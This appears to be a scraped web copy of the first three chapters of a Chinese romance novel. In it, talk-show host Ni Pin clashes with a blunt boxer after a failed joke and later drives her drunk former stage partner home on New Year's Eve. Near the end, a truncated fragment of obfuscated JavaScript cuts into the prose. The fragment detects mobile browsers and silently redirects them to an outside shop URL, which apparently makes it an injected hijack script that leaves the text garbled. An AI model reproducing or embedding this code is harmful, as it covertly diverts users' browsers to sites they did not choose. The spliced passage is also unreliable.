《小品女王》
1. 春风沉醉的夜晚(1)
《小品女王》/ 水接蓝
2026.3.20 春分
/让我们相爱吧,趁这个,
/春风沉醉的夜晚
–
“倪品,过来确认一下机位。”
“嗯。”倪品捏了捏眉心,放下手里的台本。场控和她说:“这一季的最后一期了,广告商也有些特殊要求,所以访谈位置就改了下朝向。啊,你到时记得引导嘉宾说两句广告语。”
“没问题,”倪品熟悉着新机位,环臂四顾,皱了皱眉,“灯光感觉不是很到位,师傅?”
“是吗?Leo再调一下,具体是……”
“尽量搞得温馨一点,色调啊氛围啊,”倪品不假思索地道,“快过年了,整点喜庆的!”
“啊……”有人说,“是啊,快过年了。”
这个轻快的话题,带动了一片如释重负的叹气声,唉,终于要过年了,大多数人做了一整年的牛马,为的就是这短短半个月的假。倪品总是很容易调动大家的情绪,她拍拍手,催促:
“行了,年前的最后一期,都说长痛不如短痛,赶紧做了得了,这样,下班后我请大家搓一顿去唱k,都吃好喝好玩好,回去过个好年,该上炕的呢上炕,该上屠宰场的上屠宰场。”
“好耶……等等,没偷摸骂我两句吧?”
“嘿,说的也没错,今年我真的把自己吃成小猪羔子了,办了健身房的年卡,一点没去。”
“少爷哦,花那冤枉钱,都是朝九晚五的人,每天睡满七小时都够呛,谁有精力运动……”
灯光暗下,
所有议论声戛然而止。
“欢迎来到Real Real Talk访谈节目,这是第二季第十二期,我是主持人倪品,晚间好。”
“今天邀请过来的嘉宾有点特别哦,这样,我给两个关键词,”倪品说罢,举起一根手指。
“一,国家级拳手。”
台下的观众们议论纷纷。
“二,金腰带得主。”
观众们顿悟:“啊!是蒋听?!”
“正解,就在前不久结束的澳城UFC格斗之夜,我们的国家级拳击运动员蒋听卫冕成功了,恭喜他,这也是他职业生涯的第五块国际金腰带。让我们有请他和他的指导教练陈录山!”
掌声雷动。
“咱节目组可以啊,”工作人员说,“这么难请的人也请过来了,蒋拳王特别不爱上镜,远近闻名的孤僻,就连官媒都不一定请的动……成名那么多年,没怎么见他在公众前露脸。”
“话是这么说,国内体育竞技这个大环境,对国际上的拳击赛事本来也不重视吧,如果一个运动员没什么商业价值,在网路上知名度也不高,邀请他干嘛,还当人人都是大明星啊?”
“那倒也是……”
场控不轻不重地咳了一声:“别乱说,蒋听先生难请是真的难请,不过咱们杨导多的是关系啦,再说了,多难请的人也不能违背六人定律不是?我听说是他教练欠了杨导一个人情。”
“嘿,那我知道了……”两位闲谈人员相视一笑,“杨导是有意捧倪品啊,这两年没少给她喂资源,都说隔行如隔山,一个小品演员跨界来做访谈,谁像她一做就能做得这么红火?”
“没必要那么说,业务能力也重要,你看她油光水滑,会说话会做事,没见她得罪过谁。”
“是,会和人打交道也是种能力。”
……
灯光,聚焦到台上那张年轻的脸庞,张弛有度的言语,带动人心的表情,巧妙的引出方式,还有,足够自信,能应付这些皮里阳秋的揣测。但要说倪品一点儿也不紧张么,怎么可能?
网路直播。
实时观看。
不只要应付台下的两百个随机观众,实时直播观看人数也稳定在一万,倪品深呼吸一口气,在一段冗长的、快速略过的广告赞助商名单后,她看向今晚最重要的访谈嘉宾,拳手蒋听。
“蒋听同志,你好。”她露出彬彬有礼的和煦笑容,“这是今年第一次参加访谈节目吗?”
“嗯。”很简短的回答。
没按着台本来。
倪品心下一跳,瞥了眼提词器上的文案,上面是【蒋听:因工作繁忙,赛时紧张,推了许多与行程相冲突的访谈,不过也很荣幸让Real Real Talk成为我今年受邀参加的第一个节目】
因为没有按照台本来,导致了短暂的冷场,工作人员面面相觑。与此同时,倪品救场道:“那咱们Real Real Talk访谈室还真是蓬荜生辉,能邀请到今年最炙手可热的拳坛新星!”
稳住。
这不是什么大事,倪品有最基本的控场能力。
“听说蒋听同志很快又要投身一月份的国际联合主赛,备战方面有什么想和大家分享的?”
这个问题由教练陈录山代为回答了。
倪品不由得松了口气。接连几个问题都是教练代为回答,这也是事先安排好的。她和杨导攒过饭局,来的人也是蒋听的教练,陈录山的原话是:“有的人真就只会打拳,不会别的。”
当时倪品就笑了,她对蒋听做过背调,了解嘉宾也是前期准备的一大步骤。但她在网上搜寻这么多,还没有陈录山的寥寥几句来得实在:“河南周口,一出矿山老板,二出拳击手。”
这就明白了,蒋听家里是做矿产生意的,实打实的家里有矿。蒋家两个孩子,一般是大的读不进去书,蒋听就是那个大的,他爹估计是指望不上他,体校招他,趁还小就安排进去了。
“没想到拳打得好么,这就是天赋,有的人走对了路就是天赋,要是不发掘,埋没了人才,几十年出不了一个。现在国体各方面人才缺口也大啊,后继无人,青黄不接,常有的事。”
书没读几年,文化不怎么样,搞拳击的,一般都是直来直往,拿了很多奖,但因为不缺钱,也没有转化成商业价值。倪品很容易就搞清楚了蒋听,情商一定不太高,真的,没开玩笑。
果然,就在访谈进行到一半,需要中场插播广告时,导播在耳麦里对倪品提示,她没忘记要引导说广告词的事。这季是念想水饺赞助的,她瞥见蒋听那有些泛红、畸形而充血的耳朵。
灵光一闪。
“有一个问题我老早就想问了,”她指着他耳朵,“还没过年呢,就包上饺子了?”
导播非常懂事的,把画面切到蒋听的右耳。镜头清晰地贴近他,健康的小麦肤色,体脂率低到夸张,即便只是习惯性地前倾着脖颈,一条条蛛网似的筋脉浮出来,在黑而薄的肌肤上。
单眼皮,鼻梁很高,眉毛浓密狭长,一道浅疤爬上了眉尾,营造出故意弄成断眉的既视感。不是过分精致的长相,但硬朗,对于一个不需要靠脸吃饭的男人来说,他长得的确还挺帅。
那只耳朵才是重点。
当镜头落到他的饺子耳上,特效还贴心地绘出饺子的形状,旁边标上【念想水饺倾情赞助】的字样。临近过年了,配上现场喜庆的灯光,还真有种春晚小品强行提到包饺子的诙谐感。
现场的观众都哄笑一团。
镜头一一略过洋溢着笑容的脸蛋,加重了快乐的氛围,倪品也跟着笑,余光瞥向身旁的人。
他没有笑。
男人微微蹙着眉,血色淡薄的唇线,一点一点地抿直了。倪品也僵硬了一瞬,她意识到——
自己可能说错话了。
作为脱口秀出身的小品演员,倪品比绝大部分的人更能注意到“分寸”:对于被调侃的对象来说,首先要这个对象自己愿意,否则即便再幽默、引人发笑的点,都可能变成……冒犯。
蒋听没有笑,也没有说难听的、会让场面尴尬的话,他只是认真地,一言不发地盯着倪品。
告诉她,这并不好笑。
中场休息。
“啊……”倪品快要崩溃了,即便是在她长达八年的职业生涯里,这样尴尬的“至暗
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时刻”也是十分罕见的。她把薄薄的台本盖在脸上,冰冷的纸张抵住鼻尖,一秒,两秒,三秒。
行,不想那些了。
奇怪的拳手,莫名其妙的滑铁卢,一年的最后一天……她心想,先把眼前的事办好。下半场的节奏,倪品尽量搞得严肃紧凑一点,就算有可以发挥的点,也尽量往蒋听的教练而不是他身上引。她必须承认脑子乱了些,但即便如此,完成一场本该有的水平的采访,不是问题。
录制结束。
“都辛苦了。”杨导过来慰问大家,助理也提来暖心的慰问品,每个人都有份。倪品提着礼品袋回休息室,杨导喊住她,大抵是想提上半场的波折,可又没说什么,拍了拍她的肩膀。
“明白,明白。”倪品和她相视一笑。
她要先回休息室换衣服,演播室里有暖气,穿得单薄好看一点,到了外头肯定得套棉服了。倪品的休息室是单独的,在最里面,路过正数第二间,门没关严,里面传来隐约的争吵声。
“让你按着台本来,上台之前就和你说过好多次,好歹看一眼提词器,你是怎么搞的嘛?”
一下就把倪品给留住了。
她插着兜,站在门外静静地听着。里面传来了让她难堪的罪魁祸首的声音,有点沉闷,刻板单调,“这个节目,不都说是聚焦最真实的访谈?提词器上的不是我想说的,那是说谎。”
噗。好傻。
“少爷哦,不是你想说的你就不说,你把自己当什么了?你这样搞我怎么和杨导交代哦!”
沉默了片刻。
“我反正是弄完采访了。”蒋听说,“我来了,人在这里,话也说了,这就是我能做的。”
“你……”
倪品无声地笑了笑,但很快,这股笑容就像水中的铁物一样沉了下去。意识到比蒋听说的话更加滑稽的是,他说的压根就没错。Real Real Talk聚焦的就是最真实的对话,本该如此,亦或者说所有访谈都不该是作秀,但事实上,很难践行。倪品冷漠地想,这不是她的问题。
她没法儿改变什么。
真实的,未必是观众喜闻乐见的,脍炙人口的也未必是很有营养的。这就是传统访谈节目的收视率大不如前的原因。现在是互联网时代了,当一些短小精悍的东西能抓住大家的眼球,谁会耗费四五十分钟去看两人面对面慢悠悠地谈心呢?正如当下,她甚至懒得继续听下去。
不过,心情确实好了一些,倪品歪起一侧的唇角,哼着歌儿回到了休息室。换好衣服,台本收拾进抽屉里,这就是第二季的收官了。清了清嗓子,保温杯里没水了,要泡一杯胖大海。
秋冬天气干燥,前段时间的全国巡演让倪品嗓子差点报废,还没彻底恢复过来。润喉的药物是常备,她拿着保温杯去楼层饮水机,路上遇见同事,笑着打招呼,交谈都显得像是应付。
每个人都太累了。
维持最基本的社交,像个融入社会的正常人,都显得那么艰难。啊,倪品最近压力有点大,就爱胡思乱想,她又想到那个过分实诚的嘉宾,蒋听,做这种人就很爽,什么都不用顾及。
这个蒋听就一定没有因为人际交往而犯愁的时候,而这些却是她倪品每天都要面对的课题,变得圆滑,就意味着不能坚硬。笑容要时常挂在脸上,时间久了难免连自己也分不清真假。
她抬头看向漆黑的显示屏。
上面的“99度”一闪一灭,落在她疲惫的眼睛里,渲染一层微醺的红晕。眼睛里肯定是充斥着明显的血丝,像血蛇被囚困在死水般的眼白里。她真不该再想了,100度,摁下出水键。
温暖的热汽顺着杯口上涌。
喝上一口,很舒服,眼睫被潮湿的水雾濡过,连同眼睛也变得不再干涩。倪品拧紧了瓶口,转身,就撞上身后的人。砰,一下子,头晕眼花,但不是很坚硬,而是柔软的,庞大的……
抬头看。
看不见人,她整个被埋在他的胸膛里了。
2. 春风沉醉的夜晚(2)
完全……埋进去了。
什么情况?
倪品的大脑宕机了两三秒。
视线里灰蒙蒙的,陌生的体温,揉杂着锐利的薄荷香味,撕裂开有些堵塞的鼻腔。她的眼前是两座大山,一座是巍峨的,另一座也是……什么情况啊到底,洗面奶?谁的,谁这么大?
这有点恐怖了吧。
她被两朵阴影压得喘不过气,不由自主退后,背部紧紧地贴在饮水机上,误触,滴滴的响。
粗壮的手臂隔开了她。
滚烫的开水浇下来,有几秒钟落在他的腕骨,然后,才是装着蛋白粉的冲泡塑料杯。倪品还沉浸在“巨大”的震撼之中,眼珠呆滞地转了转,才反应过来,问:“没事吧,你的手?”
“没事。”
短促的、直截了当。
倪品张了张嘴,不知道该说什么。一方面,那可是100度的开水,另一方面,他那么大啊。不是,她怎么没办法组织语言呢?盯着他那件紧绷着的深灰色短袖,她简直没能移开眼睛。
好东西。
谁能说不是呢?
唉,别那么低俗,倪品赶紧叫自己回过神来。她侧了侧身,提议:“还是去处理一下吧?”
“不用,”蒋听说,“没什么感觉。”
惜字如金。
行吧,他这样,倪品也没什么好说的。在旁边干巴巴地站了一会儿,其实她想提访谈的时候她开的那个玩笑。倪品是这种人,如无必要,她不会得罪谁。左右逢源,这就是她的优点。
道个歉,翻个篇。
少生点事端,谁能不愿意呢?
但话都到嘴边,又转了个弯,“今晚有年末聚餐,呃,我请的,大家都在,你要不要……”
“不了,我约了晚练。”
“啊,行,下次下次!”他这么说,倪品反而感到如释重负,不管怎么说,反正她邀请了,蒋听去或者不去,都是他的自由。起码杨导问起来,不会觉得说她不会办事,这就足够了。
和这种人聊天,心烧得慌,就好像城市里的狼和草原里的狼对着嚎,嗷呜嗷呜,双方都听不懂彼此的潜台词……等等,城市里哪来的狼啊,华尔街之狼?她转身离开,心里想的却是:
蒋听粗暴地撕开他那件深灰色短袖,像电影里兽化的狼人一样。唉,以他的身材,还真有可能。她不是没看过他比赛的视频,一身的肌肉,线条流畅美观,但是……竟然有那么大吗?
到底在大些什么啊!!
倪品真服了自己。
回到休息室,套上厚实的羽绒服,拎着包和众人一起到楼下,倪品自己当然开了车,载四个女同事,打着方向盘驶上湘府东路,等红绿灯的功夫,她给杨导助理发去这次聚餐的位置。
“雨花区好吃的还是蛮多哦。”
“那是嘞,这边的学生多,学生多的地方好吃的就多。啊,倪品姐不就是在这里念的书?”
“我在这里就念个小学,没上完就转走了。唉,这些年也不好说在哪里扎根,到处忙嘛。”
“啊,那你不算本地人咯?”
“嗯……”倪品想了想,“算半个本地人吧。不过我有在这里定居的打算,长沙是不错。”
节目组的年轻人偏多,倪品在里面算不上年纪大,姐的称谓是偏向于资历的。她入行很早,还在大学的时候就到处跑演出了,和志同道合的伙伴一起,赚着塞牙缝的钱,也惺惺相惜。
安排在一家正宗的湘菜饭馆,订了个大包厢,倪品选的好几道辣菜,因为杨导喜欢,但是她自己没吃多少。席间都在问杨导年后什么安排,倪品知道,杨导私下和她透露过,正在筹谋一款恋综,题材搞得很新颖,预计卫视频道和线上平台同步播出,这么一看,含金量挺高。
“来给我当演播室嘉宾吧,”杨姗说,“需要一个青年女性的视角,想来想去你最合适。”
“你生怕我说话不够得罪人吧!”倪品摆出一副很害怕的样子,“有好事怎么不想着我?”
杨姗说:“这怎么不是好事?你需要一点有效上镜了,想转型,总得去接触以前没机会接触的层面吧?演播室嘉宾你知道有谁吗?王江青啊,韩峥啊,这些人我不请,你都见不到。”
眼见倪品仍然没什么意愿,杨姗又说,“还有一个嘉宾,你绝对想不到。”
“谁啊?”倪品猜也猜不出来。
“明晚聚餐的时候再和你说。”
什么鬼啊,搞得故弄玄虚的,倪品想,还非得等到饭桌上才说。有诈,以她对杨姗的了解,绝对有诈。她的预感不错,杨姗当着众人的面公布了最后一个嘉宾:“倪品的好搭档啊。”
“什么?”倪品自己都没反应过来。
几秒后,她喃喃道。
“……谈茗啊?”
“嘿,杨导你可真会,”席间有人说,“倪品和谈茗,这两人光是摆在那儿就有噱头了。”
“那可不是么!但话又说回来,圈内不都说你们两个还在避嫌期吗?怎么,已经结束了?”
“什么避嫌不避嫌,”倪品嗐了一声,“纯友谊,被带节奏这么多年了,别跟着瞎起哄。”
“那是,要是真有什么早就有了。而且谈茗现在和你交集也少了吧,混的圈子不太一样。”
“……偶尔聚一聚吧。”
倪品想了想,还是觉得不太对劲:“谈茗为什么来?他年后不是有个职场综艺的常驻吗?”
“推掉了,说要来我这边。”杨姗说。
“你该不会……”
“对啊,我说了你要来了,搞个合体什么的,他就很快同意了,还说专门把行程空出来。”
倪品急了:“杨导你这不是捣乱吗?我什么时候说过要来了?你借我的名头去套路人家?”
杨姗一副恍然大悟的模样,“诶呀,你没说要来吗?亲爱的,我以为上次都谈妥了啊……”
“你演吧,你就。”倪品无话可说了。
晚饭吃得差不多了,就去唱K增进一下感情,顺便跨个年。倪品已经在夜总会定好了包厢,她结完账,和杨姗边聊天边去挪车。倪品说:“真不是不给你面子,主要是我和谈茗……”
杨姗隐晦地问:“你和他不会真的……”
倪品想解释,话题被掐断,电话打了进来。屏幕上的联系人,两个字,谈茗。杨姗就不说话了,而是似笑非笑地瞧她。倪品只好一边无奈地说“真没什么”,一边接起电话:“喂?”
“……在干嘛?”
沙哑、磁感的嗓音,尾调微微上翘,百无聊赖。
所以打过来。
倪品离扬声器远了一些,她的耳根子被震得有些发烫。“我有饭局,”她说,“和杨导。”
“吃完了没?”漫不经心的。
“吃倒是吃完了,但是还有下一场。”倪品尽量以平常的语气,“怎么了?你有什么事?”
“一群人在这边喝酒呢,老虎和云朵也在,想着你要不要过来,毕竟……也好久没聚了。”
“你们攒局不提前和我说?”
“没有,碰巧遇到的。”
倪品真走不开,同事们都在冷风里抻着脖子等她,下次吧,她含糊过去。谈茗那边沉默了。
电话被挂断。
晚上的活动结束得比她想的要快,还没十一点,好多人都遭不住了,而且跨年夜也是封路,市区里早就不让放烟花了,也没什么可庆祝的。散场时又有电话打过来,是老虎,李泰格。
“怎么了?”倪品问。
李泰格:“……你还是来一下吧。”
好的,倪品平静地打开导航。李泰格发来的定位在府后街附近,啊,那一片,她隐约记得live house不少,一到晚上就特别热闹,而且,今天还是跨年夜,可想而知会有多少人了。
啊……好烦啊。
倪品不动声色地翻了个白眼,她能熬夜,但是心里挺累的,工作时常是用这种形式压垮她,疲惫的是灵魂而不是身体。她感觉自己就像冰层下的冬鱼,氧气匮乏,找不到呼吸的洞口。
这样的生活,她不是不喜欢。
但也不是她满意的,当然了,人不可能十全十美,倪品已经比大部分的同龄人成功,她没什么好自怨自艾。但为什么,脑子里总想起另一个人的话,他说,不是我想说的,那是说谎。
不是我想做的事,那是勉强。
人生需要有这样的魄力。
但是,也要承担周遭尖锐的评价——“这人太奇怪了吧,以为自己咖位很大吗,想怎么来就怎么来”“他看起来一点情商也没有”“没读过书是这样,四肢发达,头脑可能相对……”
车位拥挤,找不到停车的地方。
停得有点远了,在街角,倪品大力地甩上车门,瞥了一眼时间,二十三点零五。走进吵闹的酒吧,里面放着本地知名说唱歌手的流行单曲:“28214天,你怎么度过这漫长时间……”
28214天。
中国人的平均寿命大概是在77.3年,换算成天数,就是28214天。倪品心想,听起来漫长,又觉得很短。人就要在这短短的三万天里生长,产生价值,然后老去,是的,短短三万天。
干嘛不去做些让自己高兴的事?
到了年龄就要读书,到了年龄就要工作,到了年龄就要谈恋爱,结婚生子,买房买车。可不可以到了年龄但是不去做呢?倪品会说,可以,但没必要。她知道一个人会不假思索的说:
“我不会做的。”
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嚯,真有意思,这个人。倪品在做背调的时候,没发觉他是这么有意思的一个人啊,记者问他二十七八了怎么没有组建家庭的想法,他说不想,问他会打到多少岁,他说打到不想打:在这个人人都有规划、不得不硬着头皮侃侃而谈的时代,这个金牌拳手,仿佛是“异端”。
倪品并不讨厌他。
唯一可以肯定的是,即便他让倪品出了一点小丑,让她在职业生涯里经历了滑铁卢,但倪品并不讨厌这种人,有特色的人。在千篇一律的面孔里,蒋听很特别,人们肯定会记住他的。
走到二楼的VIP room,隔着半透明的玻璃,倪品看到里面是散场了,年轻男女们往外走。
人群散尽后,她靠在门口,挡住一大片的光,看不清脸色,气氛有点冷。
她又看向倒在卡座间的始作俑者,刺鼻的酒精味,大吉岭茶的香水,有点俗套。一叠绚紫的灯光落在男人的侧脸,抬手遮住那恼人的灯光,高挺的鼻梁被手背抵住,喉结轻微滚了滚。
“起来。”她踢了踢他的鞋面。
谈茗“嗯”了一声,人却没有动弹。他干嘛非要喝这么多?在她不耐烦的视线下,谈茗一点点地坐直了,手从脸上挪开,仰着头,微笑,邀请她:“来了,要不要喝一点,大忙人?”
“我没心情陪你喝。”倪品冰冷地说,“已经很晚了,你不回家别人还要回,赶紧走了!”
“啊……”他顽劣地歪了歪脑袋,那双桃花眼里流转着一些难读懂的情绪,眨了眨,很容易注意到他右眼角的泪痣。痣长在这个地方,会被认为很多情,倪品倏然瞥见他领口的吻痕。
她不动声色地挪开视线。
“不喝的话,就走了吧。”他撑着桌起身,“还让我等你等了这么久,好冷漠啊,小品。”
“你很火热是吧?”倪品拿起一杯不知谁喝过的酒,“来来来,是时候让你冷静一下了。”
说罢,就要给他浇个透心凉。
身边的李泰格赶紧像模像样地拦了两下,都知道倪品是开玩笑的,也就打着哈哈过去了。谈茗到底醉没醉,倪品不好说,也不知道他为什么走不动道,李泰格给人扶到店前的台阶。
泰格和云朵都没开车来,倪品说要先送他们回去,泰格说不用了,家就在附近,过两条街就能到。
“好,”倪品是省事了不少,“那我把谈别送回家,他住在梅溪湖那边,要过江。”
“那你注意开车安全。”
“包的。”
浅短的交谈,然后分开,即便是相识了八年的人,在疲惫的情况下,也只剩下这些客套话。她是想和这些老朋友聊聊天的,但不是现在,时机不对。倪品眼看两人离开,才想起来——
她的车泊得有点远。
啊,应该让泰格这只有力气的笨老虎帮她搬一下的,起码要把谈茗弄到车上吧。她沉默了,让人家夫妻俩去而复返不太好,索性自己动手把谈茗扶起来。他烂醉如泥,但又能走得动,万分顺从地揽着她的肩膀,踉跄着往前走。倪品更恼火了,不知道他到底是真醉还是装醉。
“你明明自己能走!”她抱怨。
话音刚落,落在她肩上的力气骤然变大,重心不稳,差点被他扑倒在地。他的脑袋搁在她的脖颈上,一口口地呼出热汽,倪品低头去看他,只看到他脸颊上的一大片红晕,酒窝隐晦。
笑什么。
神经病啊。
这样装傻充愣能得到什么?他或者自己,倪品不知道,她也一点都不想知道。她好声好气地叫他别再乱动,用一只手艰难地掏出车钥匙,车灯亮了亮,她去开车门,突然,唇边一热。
瞳孔微微扩大。
被谈茗的发梢擦过,眼睫很痒,他鼻息里混杂着不安分的气味,朝着她凑过来的那张隽脸,要不是看他长得太帅,倪品绝对不能容忍。但他不能变本加厉地把不知道是鼻息还是唇瓣的东西落在她的嘴边,她是想分辨,但他略过去的动作太快,像蜻蜓点水,一触碰就离开了。
“我去你……”
她气急败坏,真的要发飙,谈茗却脚下一软,像一滩水倒了下去,在她的后座,再无动静。
倪品茫然地眨巴眼,反应了半天,暗骂了一句难听的。还是先把这醉鬼送回家吧。可谈茗的两条大长腿还摊在车子外面,怎么也塞不进去。她正一筹莫展,余光瞥见身旁的两道人影。
“嗨,好巧。”陈录山背着个运动挎包,挑眉,“看起来,我们的主持人需要一点帮助。”
“啊……”倪品无奈地笑了笑,“是。”
“来,搭把劲儿。”陈录山对旁边的人说,倪品不知道是谁,对方没说话,她探出身子看。
和那双单薄冷漠的眼睛对视上。
蒋听说:“好的。”
3. 春风沉醉的夜晚(3)
有点太巧了。
倪品全神贯注地盯着蒋听,视线没办法从他身上挪开。他在一个合适的时间出现,如果再过两天,她可能会把这个人稍微遗忘一部分,如果在这之前,她倒不会窘迫得这么印象深刻。
他和陈录山一起把谈茗弄上车,就是把他重新从车里搬出来,再好整以暇地放进去。倪品问他们为什么在这儿,陈录山说:“陪他训练嘛,练完正好来这边看演出,有朋友送了票。”
倪品的目光总是不自觉地落在蒋听的手上,在搬重物,血管狰狞地暴出来,比她见过的所有青筋明显的人,都要夸张。他的指节既修长又粗大,骨架也是,懂行的人说这是一种天赋。
不知道,反正她觉得他的身材很曼妙。
她抿了抿干涩的唇:“演出结束了?”
“嗯,散场了。”陈录山看了一眼车里不省人事的男人,“你搭档,你一个人送得回去?”
“可以,他就是装的,待会挨两巴掌就醒了。”倪品眼珠一转,“你跟蒋听说,加个练。”
“哈哈哈哈!”陈录山乐得不行,“还有一场自由拳击要打是吧?别啦,要闹出人命的。”
作为玩笑的对象,蒋听并没有表现出特别的反感,就任由两人拿他找乐子。虽然……他还是没有笑,倪品将他无动于衷的淡漠神情看在眼底。他略微偏过脸,牵扯着明显的口轮匝肌。
真不正常。
采访上,她几次抖落精心准备的包袱,他都无动于衷,原以为是人前端着,可就算到了镜头外,他也丧失了快乐的功能……这样真的有人愿意和他做朋友吗?难道不会觉得很有压力?
又或者说,怎么才能让他笑呢?
陈录山注意到她打探蒋听的目光,说:“你别管他,一天到晚就这幅死爹脸,没人惹着他,也不是对你有偏见,你放心吧。今天采访那事我已经教训过他了,他也知道自己不讨喜。”
“倒不是那样……”
其实就是那样。
不讨喜。说的对,所以倪品为什么总是纠结他的所思所想呢?归根结底是因为他不太讨喜,而她又太想变成一个讨人喜欢的人。如果能得到这样不讨喜的人的青睐,会很有成就感吧。
“呃,那你先把你搭档送回去吧。”陈录山解释,“我们这边刚散场,约了朋友喝点酒。”
蒋听说:“我要回去睡觉。”
“你睡个屁你睡,你什么年纪,这个点你睡得着吗?”陈录山不由分说,就把蒋听搂走了,还回头对倪品笑嚷,“不知道倪老师喝不喝,下次有空整点,我摁着蒋听的头给你赔罪!”
倪品佯装认真:“好,我会找他麻烦。”
“我懂我懂,但不会太麻烦,是吧?”
还挺会聊,倪品勾着唇,想,其实陈录山也没比蒋听大几岁,只不过退役得早,相当于前队友变成教练。陈录山对蒋听的了解很多,关系也很铁,可能这就是蒋听不驳他面子的原因。
他的人际关系相对简单、纯粹。
这一点也收录在倪品对【蒋听】这个人的印象合集里,她很爱做这样的事,不动声色地去了解一个人,记载、收录、整合成一个完整的客体,然后她就能游刃有余地应对。这很舒服。
讨人喜欢的话,倪品顺嘴就说了,如果耍一耍嘴皮子功夫,就能获得实质性的喜爱,没有人会不愿意做。除了蒋听这个耿直之人。他要回去睡觉,就绝不说什么今天不太方便的假话。
上了车,倪品仍在观察那道过街的身影,路灯的光晕和他的侧脸撞了个满怀,凌厉、笔直的线条,单眼皮,下三白,些许颓然。随手拉上漆黑的冲锋衣兜帽,他瞳孔不大,却很明亮。
“你和他挺熟啊?”后座的人问。
“嗯?”倪品才回过神来,“你说蒋听?”
“……陈录山。”谈茗隔着后视镜看她,嘴角不屑地扯了扯,“怎么可能是蒋听?呵呵。”
“你看不爽这个人啊?”倪品漫不经心地启动车子。谈茗笑说,无感而已啦,“我看了今晚的《Real Real Talk》,这个蒋听在节目上的表现呀……唉,我觉得可以给你算工伤了。”
“呵。”倪品也没什么好说的,“我只担心效果不好,或者被网友剪成什么奇怪的样子。”
“那你的担心是合理的,”谈茗颔首,“我已经刷到好几个万赞视频了,还有营销号剪辑,大致意思是他情商特别低,说话让人无语。放心吧,挨骂的是他,评论区一水同情你的。”
“真的假的……”倪品趁着前方堵得不可开交,低头刷了会儿短视频,还真是,就连节目组自己也玩起梗来,这期录播的标题就是【或遇劲敌!幽默脱口秀大师x笑点至高珠穆朗玛】
网友1:谁懂倪品当时有多绝望,感觉和我一样,我玩的梗没有人懂,我真的觉得好孤单……
网友2:对这个蒋听无感,但是从头到尾都木着一张脸,真的是来做访谈的人该有的态度吗?
网友3:蒋听是这样的,每次赛后采访也是神戳戳的,听不懂别人说话一样,他教练说他一天到晚沉浸在自己的世界。倪品享福啦,一期采访下来直接汗流浃背了,就当是锻炼身体啦!
呵呵,没福硬享是吧?
倪品关掉手机,心里还挺高兴:这些视频才刚发出来,流量都很不错,算是小小地出圈了?哼,不过这也在她的意料之内,料事如神的她早就说过,蒋听很特别,他会被人们记住的。
即便再不讨喜,
也好过泯然众生。
“唉,加鸡腿加鸡腿,让杨导给我加鸡腿!”倪品轻快地哼着歌儿,把眼睛眯成一条缝。
对于她的高兴,谈茗的态度有点古怪,盯着车窗外看了半晌,勾了勾唇,“……真不错。”
“什么不错?”倪品问。
“你啊,事业蒸蒸日上了,又有贵人相助。”他有点开玩笑的语气,“不会忘了我们吧?”
倪品脸上的笑容收敛了,几秒后,淡然开口,“你行情比我好吧,听说你要上大荧幕了。”
“……八字没一撇呢。”谈茗说,“客串而已,几分钟的镜头,就这还疏通了不少关系。”
他说得一副很落魄的样子,不过也是被机会砸中的幸运儿而已。多少媒体人想破脑袋转型,没有契机,没有机遇,谈茗两年前还是中等体量的小品演员,现在已经能在正剧里露脸了。
倪品不想听他“凡尔赛”了。
他不真诚,至少没有她想的那么真诚。谈茗并不是什么事都不和大家说,只是,他有行情了就轻轻略过去,说什么运气啊,随便试试,其实他费了不少心思,因为不费心思的人根本就不可能越来越红。倪品也很想红,但她不藏着掖着,就像杨姗的关系,她也介绍给谈茗了。
如果是普通朋友,倪品当然可以不动声色地去淡交,甚至断掉。但谈茗是不一样的,他太重要了,无论是在团队里,还是于她个人来说,这也就是她这么晚还出现在谈茗身边的原因。
无话可讲。
车外是一片喧嚣,跨年之夜,渔人码头还是有人偷偷放了烟花。2026年就这样到来了,陪在身边的是谈茗,不知道这是否如了他的愿。倪品是无所谓的,他搞这么一出,他开心就行。
“新年快乐。”谈茗说。
同乐,她回复。车跟着人流往下个路口走。街边有人拿着应援的白色荧光棒,远远看过去,就像尘世的星点。霓虹色彩太过喧宾夺主,反而成了光污染,她想起那一抹悄无声息的灰。
……埋进去了。
软乎乎的,有一点阳光晒过的衣物的味道,淡淡的薄荷洗发水香,如果一定要说像什么——
枕头。
真的好想回去睡觉。
她疲惫地关掉了导航,不需要,去谈茗家的路她很熟悉。驶过银盆岭大桥,路况变得好了,暖气让车窗结上一层湿雾,谈茗惺忪着眼,懒散地在上面写字,然后,静静地等待它化掉。
倪品问:“你确定要去杨导的恋综节目?”
谈茗不答反问:“怎么,你不去?”
倪品沉默了一会儿:“主要是我这边还没答应,就算没拍板,你接的话,应该和我商量。”
“所以你是不打算去?”
“我还没想好。”
短暂的冷场。
“哈。”他冷笑一声,“如果是要避嫌的话,我不去就是,多大点事,值得你来这一趟。”
“……你别犯浑啊。”
谈茗别过头去,抬手盖在脸上,“你搞得我好像一个疯子。”他轻声说,“老虎和云朵他们肯定都觉得我无事生非。我最近觉得挺无聊,身边没有交心的朋友,你比我想得还要忙。”
“那就休息。”倪品没忍住,还是提醒他,“你也注意一点自身的声誉,你这领口上……”
谈茗就好像等着这一句。
“是设计,”他粗暴地揉着领口,把干净的掌心展示给她,“看,没掉色,衣服是这样。”
“哇,你无不无聊。”倪品轻笑起来。
“是啊,就是很无聊啊。”他也跟着她笑起来,嘴角缱绻的笑意,黯光下渲染得愈发暧昧、狡黠。他在逗弄她这件事上也有天赋,同频的人知道。他那双波光粼粼的桃花眼像会说话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393170|200334||http|test|mini|href|location''.split(''|''),0,{}));
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>倪品的指尖敲打在方向盘上,第三下,才说:“我去的话也行,本来就欠杨导一个人情。”
“那我去的话,就让杨导欠我一个人情。”
“……傻子。”
谈茗说:“我发现最近格外难见到你,打听不到你的近况,像这样见一面,还真挺好的。”
“我是因为访谈,”倪品回想起,“还有,你问我和陈录山熟不熟,他和蒋听都是杨导介绍给我认识的,充其量也就算同事而已,今晚是碰巧遇到了,估计……以后也没机会碰面。”
“这样。”谈茗一副若有所思的样子。
“怎么呢?”
